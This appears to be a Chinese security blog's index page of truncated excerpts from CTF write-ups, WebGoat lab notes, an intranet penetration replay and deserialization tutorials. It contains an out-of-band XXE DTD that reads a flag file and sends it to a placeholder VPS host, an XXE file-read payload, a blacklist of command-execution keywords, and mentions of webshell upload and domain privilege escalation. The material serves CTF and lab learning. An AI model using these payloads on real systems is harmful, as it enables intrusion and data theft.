2025 ccb x ciscn - web
Safe_Proxy题目源码
1234567891011@app.route('/', methods=["POST"])def template(): template_code = request.form.get("code") # 安全过滤 blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'] for black in blacklist: if black in template_code: return "Forbidden content detected!" result = render_tem ...
2024国城杯-web
Easy Jelly
check机制检查XML文件中是否包含特定的标签JellyContext 的 compileScript 方法会直接解析用户指定的脚本,并通过 script.run 执行。这允许攻击者运行任意 Jelly 脚本。明显是打xml注入攻击,其中无论攻击是否成功,都只会返回Tasty Jelly :)或者是no way :(所以不止要打xml注入,还需要将其结果外带,打xxe
attack.dtd
1234<!ENTITY % file SYSTEM "file:///flag"><!ENTITY % eval "<!ENTITY % data SYSTEM 'http://VPS:2345/receive?data=%file;'>">%eval;%data;
exp.xml
12345<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[< ...
webgoat[A4-A10]
(A5) Security Misconfiguration
XXE
lesson4
提交,发现抓到了以POST的方式提交的,请求地址为/WebGoat/xxe/simple的包,内容是一个标准的XML。并且输入内容可控伪造一下,成功读取/etc/passwd文件在java中file可以直接列目录,payload如下:
123<?xml version="1.0"?><!DOCTYPE any[<!ENTITY text SYSTEM "file:///">]><comment> <text>&text;</text></comment>
代码审计createNewComment()方法
将post请求的内容赋值给了commentStr变量
var comment = comments.parseXml(commentStr);使用comments.parseXml处理完后赋值给comment实例
comments.addCom ...
webgoat1[A1-A3]
前言
补补基础
只是单纯打靶场的可以直接使用docker部署,如果目的是代码审计的话,环境搭建参考drun1baby师傅的blog:一文解决搭建WebGoat的所有问题 | Drunkbaby’s Blog (drun1baby.top)
使用docker部署拉取镜像
1234docker search webgoat docker pull webgoat/webgoat-8.0:v8.1.0 docker pull webgoat/webwolf:v8.1.0 docker pull webgoat/goatandwolf:v8.1.0
运行容器
1docker run -d -p 8888:8888 -p 8081:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0
测试是否成功,访问靶场http://ip:8888
成功。其中webgoat:v8.1.0所对应的java版本为jdk11.0.1
笔者选择的是源码部署,webgoat使用mvn进行构建,因此只需要配置好mvn配置,就可以自动的对所需的依赖进行安装了。环境:
12345win ...
春秋云境-2022网鼎杯半决赛复现
复现
靶标介绍:该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
考点:
wordpress插件rce
MS17-010
AS-REP Roasting
基于资源的约束性委派
智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD
web渗透
信息收集,外网打点
1# python3 dirsearch.py -u 39.99.128.167 -e php
存在后台/wp-admin.php,弱口令admin:123456登录发现theme file editor功能点,可以编辑php文件,尝试修改该文件并提交。
根据wordpress的命名特点找到绝对路径,发现恶意php代码被执行。
拿下一台主机
写入一句话木马,godzilla连接,成功,在根目录下获取flag01
后渗 ...
2024ByteCTF
前言
以下题目的复现环境均为根据网上大佬们的WP所创建的,与题目存在一些不完全一致之处。本文纯粹是为了记录复现过程,如有问题,请各位大佬多多指教。附上笔者题目附件和部署文档。地址:CTFReproduction/2024/ByteCTF at main · symya/CTFReproduction (github.com)
跟复现环境相比,题目可太好做了(:
miscbash game
题目附件附上一份能跑的dockerfile,注意要在该项目根目录和/lib/cmd目录下创建go.mod文件。完整的复现环境~地址:CTFReproduction/2024/ByteCTF/misc/bashgame at main · symya/CTFReproduction (github.com)
做题流程:go代码审计发现
/update以post接收name参数
判断自字符长度是否小于6
调用cmd.Exec函数,此处限制了交互时间。
执行sed -i "s/Bytectf.* ...
Python反序列化漏洞分析
前置知识
Python 对象序列化Python中序列化一般有三种方式: pickle模块和json模块, 还有一个更原始的序列化模块marshal。pickle模块是Python特有的格式, json模块是json通用的格式。marshal存在主要是为了支持 Python 的 .pyc 文件。一般地 pickle 应该是序列化 Python 对象时的首选。
官方文档的解释:pickle — Python 对象序列化 — Python 3.12.5 文档
python中可以被序列化和反序列化的对象下列类型可以被封存:
内置常量 (None, True, False, Ellipsis 和 NotImplemented);
整数、浮点数、复数;
字符串、字节串、字节数组;
只包含可封存对象的元组、列表、集合和字典;
可在模块最高层级上访问的(内置与用户自定义的)函数(使用 def,而不是使用 lambda 定义);
可在模块最高层级上访问的类;
这种类的实例调用 __getstate__() 的结果是可 pickle 的(请参阅 封存类实例 一节了解详情)。
尝试封存不能被封存的对象会 ...
ysoserial-URLDNS链
前言
项目地址:ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial (github.com)
URLDNS是ysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,特点:
只能发起dns请求,不能进行其他利用
目标无回显
使⽤用Java内置的类构造,对第三⽅方库没有依赖
原理分析
官方给的Gadget Chain:
1234* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode()
我们正着来走一遍先跟进HashMap类,是一个可序列化的类,其重写了readObject()方法,然后通过一个for循环K key = (K) s.readObject();进行反序列化。然后调用putVal()函数,在其中调用hash(key)。
当key ...
php反序列化
序列化
注意:
当一个父类实现序列化的时候,其子类也会自动实现序列化,不需要serializable接口
当一个对象的实例变量引用另一对象时,序列化该对象也应该序列化被引用的对象
序列化的demo
123456789101112131415161718192021222324<?php class test{ //定义了三个属性 private $username='usname'; //私有权限,只能在本类中使用,子类不能继承 protected $passwd='123456'; //私有权限,只能在本类中使用,但子类是可以继承该变量的 public $id='1'; //公有 //一个获取passwd的类方法 public function testpasswd($passwd){ $this->passwd = $passwd; //将函数传进来的值传给passwd } ...
Java原生的序列化和反序列化
之前学过php序列化与反序列化,以上就不赘述关于序列化与反序列化的一些概念问题了。感兴趣的师傅可以看看这篇文章:php反序列化 (symya.github.io)进入正题。
Serializable 接口
基本使用
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) Serializable 接口是 Java 提供的序列化接口,它是一个空接口 Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
通过 ObjectOutputStream 将需要序列化数据写入到流中,因为Java IO是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream ...